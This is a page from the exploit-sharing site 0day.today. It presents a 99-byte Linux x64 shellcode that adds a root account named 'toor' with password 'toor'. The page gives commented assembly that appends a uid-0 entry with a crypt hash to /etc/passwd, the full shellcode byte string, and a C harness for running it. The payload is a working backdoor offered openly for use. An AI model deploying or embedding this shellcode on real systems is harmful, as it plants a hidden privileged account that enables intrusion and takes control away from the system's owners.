0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x64 - Add Root User (toor/toor) Shellcode (99 bytes)
; Title: add root user (toor:toor) ; Date: 20180811 ; Author: epi <epibar052@gmail.com> ; https://epi052.gitlab.io/notes-to-self/ ; Tested on: linux/x86_64 (SMP CentOS-7 3.10.0-862.2.3.el7.x86_64 GNU/Linux) ; ; Shellcode Length: 99 bytes ; Action: Adds a user into /etc/passwd with the following information ; username: toor ; password: toor ; uid: 0 ; gid: 0 ; home: /root ; shell: /bin/sh ; ; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh global _start section .text _start: ; #define __NR_open 2 ; int open(const char *pathname, int flags); ; rax -> 2 ; rdi -> /etc/passwd ; rsi -> 0x401 ; ; >>> hex(os.O_WRONLY ^ os.O_APPEND) ; 0x401 xor ebx, ebx mul ebx ; rax|rdx -> 0x0 push rax mov ebx, 0x647773ff ; swd shr ebx, 0x08 push rbx mov rbx, 0x7361702f6374652f ; /etc/pas push rbx mov rdi, rsp ; rdi -> /etc/passwd xchg esi, edx ; swap registers to zero out rsi mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND add al, 0x2 ; rax -> 2 (open) syscall ; open xchg rdi, rax ; save returned fd jmp short get_entry_address ; start jmp-call-pop write_entry: ; #define __NR_write 1 ; ssize_t write(int fd, const void *buf, size_t count); ; rax -> 1 ; rdi -> results of open syscall ; rsi -> user's entry ; rdx -> len of user's entry pop rsi ; end jmp-call-pop, rsi -> user's entry push 0x1 pop rax ; rax -> 1 push 38 ; length + 1 for newline pop rdx ; rdx -> length of user's entry syscall ; write ; #define __NR_exit 60 ; void _exit(int status); ; rax -> 60 ; rdi -> don't care push 60 pop rax syscall ; OS will handle closing fd at exit get_entry_address: call write_entry user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa ; if the user_entry above is modified, change the _count_ argument in the write call to match the new length ; openssl passwd -crypt ; Password: toor ; Verifying - Password: toor ; sXuCKi7k3Xh/s ; Skeleton for testing ; ; gcc -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton ; ; #include <stdio.h> ; #include <string.h> ; ; unsigned char shellcode[] = \ ; "\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"; ; ; int main() { ; printf("Shellcode length: %zu\n", strlen(shellcode)); ; int (*ret)() = (int(*)())shellcode; ; ret(); ; } # 0day.today [2024-06-30] #